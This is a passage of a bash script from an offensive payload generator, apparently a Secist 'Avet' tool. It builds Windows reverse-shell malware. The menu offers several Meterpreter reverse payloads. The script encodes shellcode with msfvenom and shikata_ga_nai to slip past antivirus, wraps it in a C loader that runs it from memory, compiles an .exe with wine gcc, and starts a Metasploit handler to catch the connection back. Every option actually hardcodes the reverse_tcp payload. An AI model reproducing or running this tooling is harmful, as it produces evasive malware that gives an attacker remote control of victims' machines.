echo -e " | LHOST || The Listen Addres || $ip "
echo -e " | LPORT || The Listen Ports || $port "
echo -e " | OUTPUTNAME || The Filename output || $output.exe "
echo -e " +------------++-------------------------++-----------------------+"
}
shellcode (){
clear
echo -e " < Avet Payload >"
echo -e " --------------------"
echo -e " \ ^__^ "
echo -e " \ (oo)\_______ "
echo -e " (__)\ )\/\ "
echo -e " ||----w | "
echo -e " || || "
echo " "
echo -e " +------------++-------------------------++-----------------------+"
echo " Secist Anniversary Editionv1.7 (secist----2017.7.14)"
echo " "
echo -e " Your IP address :\c"
/sbin/ifconfig -a|grep inet|grep -v 127.0.0.1|grep -v inet6|awk '{print $2}'|tr -d "addr:"
echo " System version :$(cat /etc/issue)"
echo -e " +------------++-------------------------++-----------------------+"
echo " "
echo " [1] Meterpreter_Reverse_tcp [5] Shell_reverse_tcp"
echo " [2] Meterpreter_Reverse_http [6] exit"
echo " [3] Meterpreter_Reverse_https "
echo " [4] Meterpreter_Reverse_tcp_dns "
echo " [7] back meun "
echo ""
echo -e " secist> \c"
read option
#Aukeratu
case $option in
1)
payload='windows/meterpreter/reverse_tcp'
;;
2)
payload='windows/meterpreter/reverse_http'
;;
3)
payload='windows/meterpreter/reverse_https'
;;
4)
payload='windows/meterpreter/reverse_tcp_dns'
;;
5)
payload='windows/shell/reverse_tcp'
;;
6)
exit
;;
7)
menu
;;
*)
shellcode
;;
esac
if [ "$option" == "1" ]; then
shellcode1
elif [ "$option" == "2" ]; then
shellcode1
elif [ "$option" == "3" ]; then
shellcode1
elif [ "$option" == "4" ]; then
shellcode1
elif [ "$option" == "5" ]; then
shellcode1
elif [ "$option" == "6" ]; then
exit
elif [ "$option" == "7" ]; then
menu
fi
}
shellcode1(){
#定义了一个菜单为shellcode1
echo -e " secist> Enter your IP address: \c"
read ip
echo -e " secist> Enter your port: \c"
read port
echo -e " secist> Enter the number of iterations(1-500): \c"
read encode
echo $( msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=$ip LPORT=$port -e x86/shikata_ga_nai -b '\x00' -i $encode -f c) | sed 's/unsigned char buf\[\] =//g' >> output/shellcode.txt
Shellcode=$(cat output/shellcode.txt)
echo "
# include <stdlib.h>
# include <stdio.h>
# include <string.h>
# include <windows.h>
int
main(void)
{
char *shellcode =
$Shellcode
DWORD why_must_this_variable;
BOOL ret = VirtualProtect(shellcode, strlen(shellcode),
PAGE_EXECUTE_READWRITE, &why_must_this_variable);
if (!ret) {
printf(\"VirtualProtect\n\");
return EXIT_FAILURE;
}
((void(*)(void))shellcode)();
return 0;
}
" >> output/shellcode.cpp
wine gcc -m32 -W -Wall -o output/shellcode.exe output/shellcode.cpp
rm output/shellcode.txt output/shellcode.cpp
echo -e " +------------++-------------------------++-----------------------+"
echo -e " | Name || Descript || Your Input "
echo -e " +------------++-------------------------++-----------------------+"
echo -e " | LHOST || The Listen Addres || $ip "
echo -e " | LPORT || The Listen Ports || $port "
echo -e " | OUTPUTNAME || The Filename output || output/shellcode.exe "
echo -e " +------------++-------------------------++-----------------------+"
echo "use exploit/multi/handler" >> resource/handler.rc
echo "set PAYLOAD $payload" >> resource/handler.rc
echo "set LHOST $ip" >> resource/handler.rc
echo "set LPORT $port" >> resource/handler.rc
echo "exploit " >> resource/handler.rc
msfconsole -r resource/handler.rc
}
menu